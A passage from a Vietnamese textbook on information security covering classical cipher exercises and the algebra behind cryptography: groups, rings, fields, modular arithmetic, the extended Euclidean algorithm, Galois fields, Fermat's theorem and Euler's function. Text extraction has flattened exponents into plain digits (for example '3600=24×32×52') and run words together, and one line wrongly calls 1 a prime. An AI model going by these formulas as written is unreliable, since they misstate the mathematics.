-  Phươ ng pháp mã hoá cổ điển có thể dễ dàng bị giải mã bằng cách đoán chữ dựa trên phươ ng pháp thống kê tần xuất xuất hiện các chữ cái trên mã và so sánh vớ i bảngthống kê quan sát của bản rõ.- Để dùng đượ c mã hoá cổ điển thì bên mã hoá và bên giải mã phải thống nhất vớ inhau về cơ chế mã hoá cũng như giải mã. Nếu không thì hai bên sẽ không thể làmviệc đượ c vớ i nhau.

II.4 Một số vấn đề khác.II.4.1 Máy quayTr ướ c khi có mã hiện đại, máy quay là mã tích thông dụng nhất. Chúng đượ c sử dụngr ộng rãi trong chiến tranh thế giớ i thứ hai: Đức, đồng minh và Nhật. Máy quay tạo nên

Page 25: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 25/147

 - 25 -

mã thay thế r ất đa dạng và phức tạ p. Trong máy có sử dụng một số lõi hình tr ụ, mỗi lõiứng vớ i một phép thế, khi quay sẽ thay thế mỗi chữ bằng một chữ khác tươ ng ứng. Vớ i 3hình tr ụ khác nhau, ta có 26 x 26 x 26 = 17576 bảng chữ.II.4.2 Dấu tinMột trong những k ỹ thuật khác để đảm bảo tính bảo mật của thông tin đượ c gửi là dấu

tin. Đây là một sự lựa chọn dùng k ết hợ  p hoặc đồng thờ i vớ i mã. Dấu tin là dấu sự tồn tạicủa bản tin cần bảo mật trong một thông tin khác như: trong bản tin dài chỉ dùng một tậ pcon các chữ/từ đượ c đánh dấu bằng cách nào đó; sử dụng mực không nhìn thấy; dấu tintrong các file âm thanh hoặc hình ảnh. Các k ỹ thuật này gần đây cũng đượ c quan tâmnghiên cứu. Tuy nhiên nó có nhượ c điểm là chỉ dấu đượ c lượ ng thông tin nhỏ các bít.

Page 26: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 26/147

 - 26 -

Bài tập

1.  Cho biến đọan mã sau dùng mã Cesar "GCUA VQ DTGCM"

Suy luận tìm bản rõ.

2.  Sử dụng k ỹ thuật thám mã bảng chữ đơ n, lậ p bảng tần suất các chữ, bộ chữ đôi, bộ chữ ba của đọan mã sau:UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIVUEPHZHMDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEPOPDZSZUFPOUDTMOHMQ

Lậ p luận và cho biết ánh xạ của bảng chữ đơ n và đưa ra bản rõ phù hợ  p3.   Nêu thuật toán dùng bảng Saint Cyr để mã hóa và giải mã Vigenere khi biết từ khóa.

Áp dụng thuật toán đó mã hóa bản rõ sau: “Network Security is very important for software development” vớ i từ khóa là “COMPUTER SCIENCE”

4.  Tại sao có thể nói “Có thể nói mã bộ đệm một lần là an toàn tuyệt đối, vì vớ i bản rõ bất k ỳ và bản mã bất k ỳ, luôn tồn tại một khoá để ánh xạ bản rõ đó sang bản mã đã

cho”. Giải thích nhận định sau “Về mặt lý thuyết, xác suất để mọi mẩu tin (có cùngđộ dài vớ i bản rõ) trên bảng chữ mã là mã của một bản rõ cho tr ướ c là như nhau”.5.  Tìm bản mã của bản rõ “We are studying cryptography this year” sử dụng mã

Playfair vớ i từ khóa “information technology”.6.  Chứng tỏ r ằng, phép dịch chuyển không khắc phục đượ c tính dư thừa của ngôn ngữ 

tự nhiên.7.  Chứng minh r ằng tích của hai phép thế đơ n là một phép thế đơ n và tích của hai phép

dịch chuyển là một phép dịch chuyển. Có thể nói gì về tích của một phép thế đơ n vàmột phép dịch chuyển.

8.  Có bao nhiêu khóa Playfair khác nhau.9.  Mã hóa bản rõ “Chung toi se la nhung ky su cong nghe thong tin gioi trong mot vai

nam nua” sử dụng từ khóa 631425.10. Giả sử dùng mã dịch chuyển dòng vớ i 8 cột. Hỏi có bao nhiêu khóa khác nhau. Nêuthuật toán giải mã vớ i từ khóa cho tr ướ c.

11. Chứng minh r ằng: tích của hai phép thế sẽ là một phép thế; tích của hai phép hoán vị sẽ là một phép hoán vị.

Page 27: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 27/147

 - 27 -

CHƯƠ NG 3:

TR ƯỜ NG HỮ U HẠN

Mở  đầu

Giớ i thiệu về cấu trúc đại số - tr ườ ng hữu hạn. Đây là mô hình toán học đóng vai tròquan tr ọng trong lý thuyết mã như đối vớ i chuẩn mã nâng cao AES, mã đườ ng congElip, mã IDEA và khoá công khai. Nó liên quan đến các phép toán trên “số”: ở  đây sẽ xét “số” là khái niệm khái quát hơ n các số nguyên, số thực, số phức thườ ng gặ p trongsố học, nói chung “số” có thể là các phần tử trong một tậ p hợ  p nào đó. Đồng thờ i trêntậ p hợ  p đó có trang bị các phép toán tươ ng ứng thoả mãn một số tính chất nhất địnhnhư các số vớ i các phép toán cộng, tr ừ hoặc nhân, chia. Ta bắt đầu từ các khái niệmvề nhóm, vành, tr ườ ng của đại số tr ừu tượ ng.

III.1 Các cấu trúc đại số 

III.1.1 NhómCho một tậ p các phần tử hoặc “số” và một phép toán hai ngôi, mà k ết quả cũng là một phần tử của tậ p hợ  p đó. Tức là ứng vớ i mỗi cặ p phần tử trên tậ p đó, k ết quả của phéptoán cũng là một phần tử xác định của tậ p đã cho. Tính chất này ta gọi là tính đóngcủa phép toán trên tậ p đang xét.Định ngh ĩ a nhóm. Tậ p hợ  p G đó vớ i phép toán . đã cho đượ c gọi là nhóm, nếu nóthỏa mãn các tính chất sau vớ i mọi phần tử a, b, c thuộc G:

o  Tính k ết hợ  p (a.b).c = a.(b.c)o  Có đơ n vị  e: e.a = a.e = a

o  Có nghịch đảo a-1: a.a-1 = e  Nếu có thêm tính giao hoán a.b = b.a, thì gọi là nhóm Aben hay nhóm

giao hoán.Định ngh ĩ a nhóm xiclic.

o  Định ngh ĩ a lũy thừa như là việc áp dụng lặ p phép toán:Ví dụ: a3 = a.a.a 

o  Và đơ n vị  e=a0 o  Một nhóm đượ c gọi là xiclic nếu mọi phần tử đều là lũy thừa của một phần tử 

cố định nào đó. Chẳng hạn b = ak  đối vớ i a cố định và mỗi b trong nhóm.o  Khi đó a đượ c gọi là phần tử sinh của nhóm.

III.1.2 Vành

Cho một tậ p R các “số” vớ i hai phép toán đượ c gọi là cộng và nhân. Ở đây “số” đượ chiểu là phần tử của tậ p hợ  p và hai phép toán trên xác định trên tậ p hợ  p đó. Tậ p vớ ihai phép toán trên đượ c gọi là vành, nếu hai phép toán thoả mãn các tính chất sau

o  Vớ i phép cộng, R là nhóm Abeno  Vớ i phép nhân, có

  tính đóng và  tính k ết hợ  p  tính phân phối đối vớ i phép cộng a(b+c) = ab + ac

Page 28: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 28/147

 - 28 -

 Nếu phép nhân có tính giao hoán thì tạo thành vành giao hoán.  Nếu phép nhân có nghịch đảo và không có thươ ng 0 (tức là không có hai phần khác 0mà tích của chúng lại bằng 0), thì nó tạo thành miền nguyên

III.1.3 Trườ ng là một tậ p hợ  p F vớ i hai phép toán cộng và nhân, thoả mãn tính chất

sau: o  Vớ i phép cộng F là nhóm Abeno  Vớ i phép nhân F tr ừ phần tử 0 là nhóm Aben.o  F là một vành

Có thể nói là có các phép toán cộng, tr ừ, nhân, chia số khác 0. Phép tr ừ đượ c coinhư là cộng vớ i số đối của phép cộng và phép chia là nhân vớ i số đối của phépnhân:

a – b = a + (-b)a / b = a.b-1

Ví dụ: Dễ dàng thấy, vớ i phép cộng và nhân thông thườ ng:o  Tậ p số nguyên Z là nhóm Aben vớ i phép cộng

o  Tậ p số nguyên Z là vành giao hoán.o  Tậ p số hữu tỉ Q là tr ườ ng.o  Tậ p số thực R là tr ườ ng.o  Tậ p số phức C là tr ườ ng vớ i phép cộng và nhân hai số phức.

III.2 Số học trên Modulo

IV.2.1 Định ngh ĩ a Modulo.Cho số tự nhiên n và số nguyên a. Ta định ngh ĩ a: a mod n  là phần dư dươ ng khichia a cho n.Định ngh ĩ a quan hệ tươ ng đươ ng trên tậ p số nguyên

a ≡ b mod n khi và chỉ khi a và b có phần dư như nhau khi chia cho n.o  Ví dụ: 100 mod 11 = 1; 34 mod 11 = 1, nên 100 ≡ 34 mod 11 

o  Số b đượ c gọi là đại diện của a, nếu a ≡ b mod n

(a = qn + b) và 0 <= b < n. o  Ví dụ: -12 mod 7 ≡ -5 mod 7 ≡ 2 mod 7 ≡ 9 mod 7. Ở 

đây 2 là đại diện của –12, -5, 2 và 9.o  Trong Modulo 7 ta có các lớ  p tuơ ng đươ ng viết trên các hàng như sau:

...

-21 -20 -19 -18 -17 -16 -15

-14 -13 -12 -11 -10 -9 -8

-7 -6 -5 -4 -3 -2 -10 1 2 3 4 5 6 

7 8 9 10 11 12 13

14 15 16 17 18 19 20

21 22 23 24 25 26 27

28 29 30 31 32 33 34

...

Page 29: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 29/147

 - 29 -

Các phần tử cùng cột là có quan hệ đồng dư vói nhau. Tậ p các đại diện của các số nguyên theo Modulo n gồm n phần tử ký hiệu như sau:

Zn = { 0, 1, 2, 3, …, n-1 }.Ướ c số 

o  Số b không âm đượ c gọi là ướ c số của a, nếu có số m sao cho: a = mb

trong đó a, b, m đều nguyên.o  Tức là a chia hết cho b, ký hiệu là b|ao  Ví dụ: 1, 2, 3, 4, 6, 8, 12, 24 là các ướ c số của 24

III.2.2 Các phép toán số học trên Modulo 

Cho tr ướ c một số n. Ta muốn thực hiện các phép toán theo Modulo của n. Ta cóthể thực hiện các phép toán trên các số nguyên như các phép cộng, nhân các số nguyên thông thườ ng sau đó rút gọn lại bằng phép lấy Modulo hoặc cũng có thể vừa tính toán, k ết hợ  p vớ i rút gọn tại bất cứ thờ i điểm nào:

(a+b) mod n = [a mod n + b mod n] mod n (*) 

(a.b) mod n = [a mod n . b mod n] mod n (**)  Như vậy khi thực hiện các phép toán ta có thể thay các số bằng các số tươ ngđươ ng theo Modulo n đó hoặc đơ n giản hơ n có thể thực hiện các phép toán trêncác đại diện của nó: Zn = { 0, 1, 2, 3, …, n-1 }.o  Zn vớ i các phép toán theo Modulo tạo thành vành giao hoán có đơ n vị. Thực

vậy tính đóng của các phép cộng và nhân dựa trên hai công thức (*) và (**).Các tính chất k ết hợ  p, giao hoán và nghịch đảo đượ c suy ra từ các tính chấttươ ng ứng của các số nguyên.

o  Các chú ý về tính chất rút gọn:  nếu (a+b)≡(a+c) mod n, thì b≡c mod n   Nhưng (ab)≡(ac) mod n, thì b≡c mod n chỉ khi nếu a là nguyên tố 

cùng nhau vớ i n

Ví dụ. Áp dụng các tính chất của modulo:

(11*19 + 1017) mod 7 =

((11*19) mod 7 + 1017 mod 7) mod 7 =

((11 mod 7* 19 mod 7) mod 7 + (10 mod 7)17 mod 7) mod 7=

((4.(-2)) mod 7 + (((32)2)2)2 * 3 mod 7)mod 7=

((-1) mod 7 + ((22)2)2 * 3 mod 7)mod 7 =(-1 + 5) mod 7 =

4

Ví dụ: Bảng Modulo 8 vớ i phép cộng

Page 30: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 30/147

 - 30 -

III.2.3 Ướ c số chung lớ n nhất.•  Bài toán. Cho hai số nguyên dươ ng a và b. Bài toán tìm ướ c chung lớ n nhất của

hai số nguyên dươ ng là bài toán chung của lý thuyết số. Ta ký hiệu GCD(a,b) làướ c số chung dươ ng lớ n nhất của a và b, tức là số nguyên dươ ng vừa là ướ c của avừa là ướ c của b và là số nguyên dươ ng lớ n nhất có tính chất đó.

Ví dụ: GCD(60,24) = 12 ; GCD (6, 15) = 3; GCD(8, 21) = 1.

•  Nguyên tố cùng nhau. Ta thấy 1 bao giờ cũng là ướ c số chung của hai số nguyêndươ ng bất k ỳ. Nếu GCD(a, b) = 1, thì a, b đựơ c gọi là hai số nguyên tố cùngnhau:

Ví dụ: GCD(8,15) = 1, tức là 8 v à 15 là hai số nguyên tố cùng nhau

•  Tìm ướ c chung lớ n nhất. Bây giờ  chúng ta xét bài toán tìm ướ c số chung lớ nnhất của hai số nguyên dươ ng cho tr ướ c. Dễ dàng chứng minh đượ c tính chất sau:

GCD(a,b) = GCD(b, a mod b) 

 Như vậy để tìm ướ c số chung của một cặ p số cho tr ướ c, ta đưa về bài toán tìm ướ cchung của cặ p số gồm số nhỏ hơ n trong hai số đó và phần dư của số lớ n khi chia chosố nhỏ hơ n. Thuật toán Ơcơ lít tạo nên vòng lặ p, ở mỗi bướ c ta áp dụng tính chất trêncho đến khi phần dư đó còn khác 0.•  Thuật toán Ơ cơ lit tìm GCD(a, b)

A=a, B=b

while B>0•R = A mod BA = B, B = R

return A

1970 = 1 x 1066 + 904 gcd(1066, 904)

Ví dụ: GCD(1970,1066)

1066 = 1 x 904 + 162 gcd(904, 162)

904 = 5 x 162 + 94 gcd(162, 94)

Page 31: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 31/147

 - 31 -

162 = 1 x 94 + 68 gcd(94, 68)

94 = 1 x 68 + 26 gcd(68, 26)

68 = 2 x 26 + 16 gcd(26, 16)

26 = 1 x 16 + 10 gcd(16, 10)

16 = 1 x 10 + 6 gcd(10, 6)

10 = 1 x 6 + 4 gcd(6, 4)6 = 1 x 4 + 2 gcd(4, 2)

4 = 2 x 2 + 0

gcd(1970, 1066) = 2

III.3 Trườ ng GaloaTa muốn đi tìm một tr ườ ng số có hữu hạn các phần tử, tức là một tậ p hữu hạn các phần tử mà ở  đó có thể cộng tr ừ, nhân, chia mà không vượ t ra ngoài phạm vi tậ p hữuhạn các phần tử đó. Tr ườ ng Galoa thuộc lọai đó và đóng vai trò quan tr ọng trong lýthuyết mã.Có thể chứng minh đượ c r ằng số các phần tử của tr ườ ng hữu hạn bất k ỳ bằng lũy thừacủa pm của sô nguyên tố p nào đó, ta ký hiệu tr ườ ng Galoa đó là GL(pm). Thôngthườ ng ta sử dụng các tr ườ ng: GL(p) và GL(2m).Sau đây chúng ta sẽ xây dựng các tr ườ ng Galoa đó.

III.3.1 Trườ ng Galoa GL(p), vớ i p là số nguyên tố.o  GL(p) gồm tậ p {0,1, … , p-1}o  Vớ i các phép toán cộng và nhân Modulo, như ta đã biết GL(p) tạo thành

một vành giao hoán. Vì p là số nguyên tố nên mọi số khác 0 nhỏ hơ n pđều nguyên tố cùng nhau vớ i p.

•  GL(p) tạo thành tr ườ ng vì mọi a thuộc {1, … , p-1} đều có phần tử nghịch đảo a-

1: a . a-1 = 1. Thực vậy vì a và p nguyên tố cùng nhau nên theo thuật toán tìm

nghịch đảo dướ i đây ta sẽ tìm đượ c nghịch đảo của a. Như vậy trên GL(p) ta có thể thực hiện các phép toán cộng, tr ừ, nhân, chia.

Ví dụ phép nhân trên GL(7)

Page 32: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 32/147

 - 32 -

III.3.2 Tìm số nghịch đảoBây giờ ta xét bài toán: nếu GCD(m, b) = 1, thì tìm nghịch đảo của b theo Modulo m.Ta mở r ộng thuật toán Ơcơ lit vừa tìm ướ c chung lớ n nhất của m và b, vừa tính nghịchđảo trong tr ườ ng hợ  p GCD(m, b) = 1.Thuật toán Euclid mở rộng:

EXTENDED EUCLID(m, b)1.(A1, A2, A3)=(1, 0, m);

(B1, B2, B3)=(0, 1, b)

2. if B3 = 0

return A3 = gcd(m, b); no inverse

3. if B3 = 1

return B3 = gcd(m, b); B2 = b–1 mod m

4. Q = A3 div B3

5. (T1,T2,T3)=(A1 – Q*B1,A2 – Q*B2, A3 – Q*B3)

6. (A1, A2, A3)=(B1, B2, B3)

7. (B1, B2, B3)=(T1, T2, T3)

8. goto 2Thực vậy, các quan hệ sau là bất biến:mA1 + bA2 = A3; (1)

mB1+ bB2 = B3 (2)mT1 + bT2 = T3; (3)

Vì ban đầu: m.1 + b.0 = m; m.0 +b.1 = b, nên ta có (1) và (2) đúng. Và ta chứngminh trong một bướ c lặ p từ (1) và (2) suy ra (3). Từ thuật toán ta có :

T1 = A1 – Q.B1

T2 = A2 – Q.B2

T3 = A3 – Q.B3

 Nên ta sẽ chứng minh đẳng thức (3) còn lạimT1 + bT2 = m(A1 – Q.B1) + b (A2 – Q.B2)= (mA1 + bA2) - Q(mB1+ bB2)

= A3 – Q.B3

= T3

Khi sang bướ c lặ p tiế p theo đổi vai trò B sang A và T sang B, thì các công thức đối(1) và (2) đối vớ i A, B sẽ đúng, và do đó theo chứng minh trên (3) sẽ đúng trong bướ clặ p tiế p theo. Vậy (1), (2), (3) là các bất biến của vòng lặ p.Cuối cùng khi B3 = 1, thì từ các bất biến ta có:

mB1+ bB2 = 1 

 bB2 = 1- mB1  bB2 = 1 mod m

Do đó: B2 = b-1 mod m

Ví dụ. Tìm nghịch đảo của 550 trong GL(1759).

Page 33: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 33/147

 - 33 -

Mỗi bướ c thực hiện thuật toán Ơcơ lit mở r ộng sẽ đượ c mô tả bở i một hàng trong bảngsau.

Sau 4 bướ c. ta có B3 = 1, khi đó thuật toán dừng, GCD(1759, 550) = 1 và 550

-1

mod1759 = 355.

III.3.3 Số học đa thứ cTa xét tậ p các đa thức Pn có bậc nhỏ hơ n hoặc bằng n:

Trên tậ p các đa thức đó ta có thể có một số cách khác nhau thực hiện các phép toáncộng và nhân đa thức:

o  Có thể thực hiện các phép toán thông thườ ng trên đa thức

o  Các phép toán trên đa thức vớ i các hệ số trên Modulo po  Các phép toán trên đa thức vớ i các hệ số trên Modulo p và sau đó lầyModulo theo đa thức m(x)

•  Phép toán đa thức thông thườ ngo  Cộng tr ừ các hệ số tươ ng ứngo   Nhân mọi hệ số vớ i cùng một số.

Ví dụ. f (x ) = x 3 + x 2 + 2 và g (x ) = x 2 – x + 1

f (x ) + g (x ) = x 3 + 2x 2 – x + 3

f (x ) – g (x ) = x 3 + x + 1

f (x ) . g (x ) = x 5 + 3x 2 – 2x + 2

  Phép toán đa thức vớ i Modulo hệ số o  Cho số nguyên tố p tùy ýo  Tính các hệ số theo Modulo p. Khi đó tậ p các hệ số đượ c lấy từ tr ườ ng

GL(p). Còn phép nhân đa thức có thể nhận đượ c k ết quả là đa thức bậc lớ nhơ n n.

o  Ta thườ ng quan tâm đến Mod 2, tức là mọi hệ số là 0 hoặc 1 

Giả sử  f (x ) = x 3 + x 2 and g (x ) = x 2 + x + 1

f (x ) + g (x ) = x 3 + x + 1

Page 34: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 34/147

 - 34 -

f (x ) . g (x ) = x 5 + x 2 Sau đây ta xét riêng tr ườ ng hợ  p khi các phép tóan cộng, nhân đa thức đượ c thực

hiện vớ i phép lấy Modulo theo một đa thức nào đó.

III.3.4 Phép toán đa thứ c vớ i Modulo đa thứ c

•  Cho đa thức g(x) bậc n và các hệ số của các đa thức xét trong mục này lầy trongtr ườ ng Galoa GF(p) vớ i p là số nguyên tố. Viết đa thức f(x) dướ i dạng:

f (x ) = q (x ) g (x ) + r (x ) trong đó r ( x) là phần dư khi chia f(x) cho g(x). Rõ ràng bậc của r ( x) sẽ nhỏ hơ n bậc của g(x).Ta viết r (x ) = f (x ) mod g (x ) 

•   Nếu không có phần dư, tức là r ( x) = 0, ta nói g(x) là ướ c của f(x) hay g(x) chiahết f(x) hay f(x) chia hết cho g(x).

•  Trong tr ườ ng hợ   p g(x) không có ướ c ngoài 1 và chính nó, thì ta nói g(x) là đa

thức nguyên tố hoặc không rút gọn đượ c. Ví dụ g (x ) = x 3 + x + 1 là đa thứcnguyên tố. 

•  Việc tìm ướ c chung lớ n nhất của hai đa thức đượ c trình bày trong thuật toántươ ng tự như Ơcolit như sau: 

Tìm đa thứ c ướ c chung lớ n nhất GCD(a(x), b(x))o  c(x) = GCD(a(x), b(x)) nếu c(x) là đa thức bậc lớn nhất mà chia hết

cả a(x), b(x)o Có thể điều chỉnh thuật toán Euclid’s Algorithm để tìm nó:

EUCLID[a (x ), b (x )]1. A(x ) = a (x ); B(x ) = b (x )2. if B(x ) = 0 return A(x ) = gcd[a (x ), b (x )]3. R(x ) = A(x ) mod B(x )4. A(x ) ¨ B(x )5. B(x ) ¨ R(x )6. goto 2

Thuật toán tìm nghịch đảo của một đa thức theo một đa thức nguyên tố cùng nhau vớ inó, đượ c trình bày tươ ng tự như Ơcolit mở r ộng.•  Phép toán đa thứ c vớ i Modulo đa thứ c.Cho g(x) là đa thức nguyên tố bậc n. Khi đó tậ p các đa thức bậc nhỏ hơ n bằng n vớ icác phép toán cộng và nhân đa thức theo Modulo của đa thức nguyên tố g(x) tạothành tr ườ ng hữu hạn, gọi là trườ ng Galoa và ký hiệu là GL(pn).Sau đây ta xét tr ườ ng GF(2n), tức là xét tậ p các đa thức vớ i các hệ số Modulo 2 và bậc nhỏ hơ n bằng n và phép toán nhân có thể rút gọn theo Modulo của đa thức g(x)nguyên tố bậc n. Có thể tìm đượ c nghịch đảo nhờ thuật toán Euclide mở r ộng.Tuy nhiên để thuận tiện trong việc biểu diễn đa thức, ta sẽ xây dựng song ánh từ tậ pcác đa thức bậc nhỏ hơ n n vào các dãy n bit là dãy các hệ số thể hiện sự có mặt củacác lũy thừa tươ ng ứng, và xây dựng các phép toán cộng và nhân các dãy bit sao chonhận đượ c k ết quả tươ ng tự như cộng và nhân các đa thức tươ ng ứng cùng vớ i việcrút gọn theo đa thức nguyên tố. Để đơ n giản ta minh họa qua ví dụ cụ thể trên GL(23).

Ví dụ GF(23)

Page 35: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 35/147

 - 35 -

•  Bảng trên có thể xây dựng bằng cách tính tr ực tiế p trên các phép toán cộng vànhân đa thức sau đó lấy Modulo theo đa thức nguyên tố x3 + x + 1.

•  Tuy nhiên có thể thực hiện các phép toán trên dãy 3 bit như sau; o  Vì các hệ số là 0, 1 nên các đa thức có thể biểu diễn như các xâu bito  Phép cộng hai đa thức tr ở  thành XOR (cộng cơ  số 2) trên các xâu bit tươ ng

ứng vớ i hai đa thức đó.o   Nhân một đa thức vớ i  x tr ở  thành Shift sang trái 1 đơ n vị của dãy . bittươ ng ứng vớ i đa thức đó.

o  Phép tính Modulo theo đa thức nguyên tố của một đa thức cùng bậc n đượ cthực hiện bằng cách tính hiệu hay cũng là tổng của hai đa thức đó, mà đó cũngchính là lấy dãy bit của đa thức đó XOR vớ i dãy bit của đa thức nguyên tố.

o  Phép nhân và tính Modulo đượ c k ết hợ  p bằng phép lặ p giữa Shìt và XOR.

Ví dụ. Trong GF(23) ta có (x2+1) tươ ng ứng dãy bít 1012 và

(x2+x+1) tươ ng ứng vớ i dãy 1112 

•  Tổng hai đa thức trên là

(x2+1) + (x2+x+1) = x

101 XOR 111 = 0102 •  Tích của hai đa thức là

(x+1).(x2+1) = x.(x2+1) + 1.(x2+1)

= x3+x+x2+1 = x3+x2+x+1011.101 = (101)<<1 XOR (101)<<0

= 1010 XOR 101 = 11112 

•  Phép rút gọn theo Modulo là

Page 36: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 36/147

 - 36 -

(x3+x2+x+1 ) mod (x3+x+1) = (x3+x2+x+1 ) - (x3+x+1 )

= x2 1111 mod 1011 = 1111 XOR 1011 = 01002

 Như vậy tr ườ ng Galoa GL(2n

) bao gồm 2n

 phần tử. Muốn tr ườ ng Galoa có số phần tử lớ n tuỳ ý, ta chỉ việc tăng và lấy n thích hợ  p. Đặc biệt việc tính toán các phép toáncộng tr ừ, nhân, chia trên đó r ất nhanh và hiệu quả trên các thao tác của các thiết bị  phần cứng. Chính vì vậy tr ườ ng Galoa đóng vai trò quan tr ọng trong lý thuyết mã màchúng ta sẽ thấy rõ qua các chươ ng tiế p theo.

III.4 Giớ i thiệu lý thuyết số 

III.4.1 Các số nguyên tố  Như chúng ta đã biết số nguyên tố là các số nguyên dươ ng chỉ có ướ c số là 1 và chính nó.Chúng không thể đượ c viết dướ i dạng tích của các số khác. 1 là số nguyên tố, nhưng

không quan tâm đến nó. Xét các số nhỏ hơ n 10 ta có: 2, 3, 5, 7 là số nguyên tố, vì chúngkhông có ướ c số khác 1 và chính nó; 4, 6, 8, 9, 10 không phải là số nguyên tố. Có thể nói2 là số chẵn duy nhất là số nguyên tố. Các số nguyên tố là trung tâm của lý thuyết số. Số các số nguyên tố là vô hạn.

Ví dụ. Sau đây là danh sách các số nguyên tố nhỏ hơ n 200:2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73

79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157

163 167 173 179 181 191 193 197 199 

III.4.2 Phân tích ra thừ a số nguyên tố 

Một trong những bài toán cơ bản của số học là phân tích ra thừa số nguyên tố số a, tức làviết nó dướ i dạng tích của các số nguyên tố. Lưu ý r ằng phân tích là bài toán khó hơ n r ấtnhiều so vớ i bài toán nhân các số để nhận đượ c tích.Ta có k ết luận, mọi số nguyên dươ ng đều có phân tích duy nhất thành tích các lũy thừacủa các số nguyên tố:

Ví dụ: 91=7×13; 3600=24×32×52 

Thông thườ ng để tìm phân tích trên, ta phải kiểm tra tính chia hết cho các số nguyên tố từ nhỏ đến lớ n và thực hiện phép chia liên tiế p cho các số nguyên tố, r ồi gộ p thành lũy thừa

của các số nguyên tố.

III.4.3 Các số nguyên tố cùng nhau và GCDHai số nguyên dươ ng a và b không có ướ c chung nào ngoài 1, đượ c gọi là nguyên tố cùngnhau.Ví dụ: 8 và 15 là nguyên tố cùng nhau, vì ướ c của 8 là 1, 2, 4, 8, còn ướ c của 15 là 1, 3,5, 15. Chỉ có 1 là ướ c chung của 8 và 15.

Page 37: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 37/147

 - 37 -

 Ngượ c lại có thể xác định ướ c chung lớ n nhất bằng cách trong các phân tích ra thừa số của chúng, tìm các thừa số nguyên tố chung và lấy bậc lũy thừa nhỏ nhất trong hai phântích của hai số đó.Ví dụ.  Ta có phân tích: 300=21×31×52 và 18=21×32. Vậy

GCD(18,300)=21×31×50=6 

III.4.4 Định lý Ferma (Định lý Ferma nhỏ)

a p-1 mod p = 1

trong đó p là số nguyên tố và a là số nguyên bất k ỳ khác bội của p: GCD(a, p) = 1.Hay vớ i mọi số nguyên tố p và số nguyên a không là bội của p, ta luôn có

a p = a mod pCông thức trên luôn đúng, nếu p là số nguyên tố, còn a là số nguyên dươ ng nhỏ hơ n p.

Ví dụ. Vì 5 và 7 là các số nguyên tố. 2 và 3 không là bội tươ ng ứng của 7 và 5, nên theo

định lý Ferma ta có27-1 mod 7 = 1 (= 26 mod 7 = 64 mod 7= 1)35-1 mod 5 = 1 (= 34 mod 5 = 81 mod 5= 1)(-2)11-1 mod 11 = 1 (= 210 mod 11 = 1024 mod11 = 1)

K ết quả trên đượ c dùng trong khoá công khai. Nó cùng đượ c sử dụng để kiểm tra tínhnguyên tố của một số nguyên p nào đó, bằng cách lấy ngẫu nhiên các số a và kiểm traxem có tính chất nêu trên không, k ết luận là p nguyên tố càng thuyết phục nếu phép thử trên đúng vớ i nhiều lần chọn ngẫu nhiên các số a.

III.4.5 Hàm OleCho n là một số nguyên dươ ng. Khi thực hiện phép tính đồng dư n của mọi số nguyên

khác ta nhận đượ c tậ p đầy đủ các phần dư có thể có là:0, 1, 2,…, n-1

Từ tậ p trên ta tìm tậ p rút gọn bao gồm các số nguyên tố cùng nhau vớ i n và quan tâm đếnsố lượ ng các phần tử như vậy đối vớ i số nguyên dươ ng n cho tr ướ c.Ví dụ. Vớ i n = 10:

o  Tậ p đầy đủ các phần dư là {0,1,2,3,4,5,6,7,8,9}o  Tậ p rút gọn các phần dư nguyên tố vớ i 10 là {1,3,7,9}o  Số các phần tử của tậ  p rút gọn trên là giá tr ị của hàm Ole Ф(n).  Như vậy,

Ф(10) = 4.

•  Muốn tính Ф(n) việc đếm số các số ngưyên tố cùng nhau vớ i n và nhỏ hơ n n đượ cloại bỏ vì đây là bài toán tốn nhiều công sức.

•   Nói chung có thể tính hàm Ơle của một số dựa trên biểu thức phân tích ra thừa số củasố đó.

o  Dễ dàng thấy, nếu p là số nguyên tố  Ф(p) = p-1 

o   Nếu p và q là hai số nguyên tố khác nhau, thì có thể chứng minh đượ c r ằng:o  Ф(p.q) = (p-1)(q-1)

o   Nếu p là số nguyên tố, thì Ф(pn) = pn-pn-1 

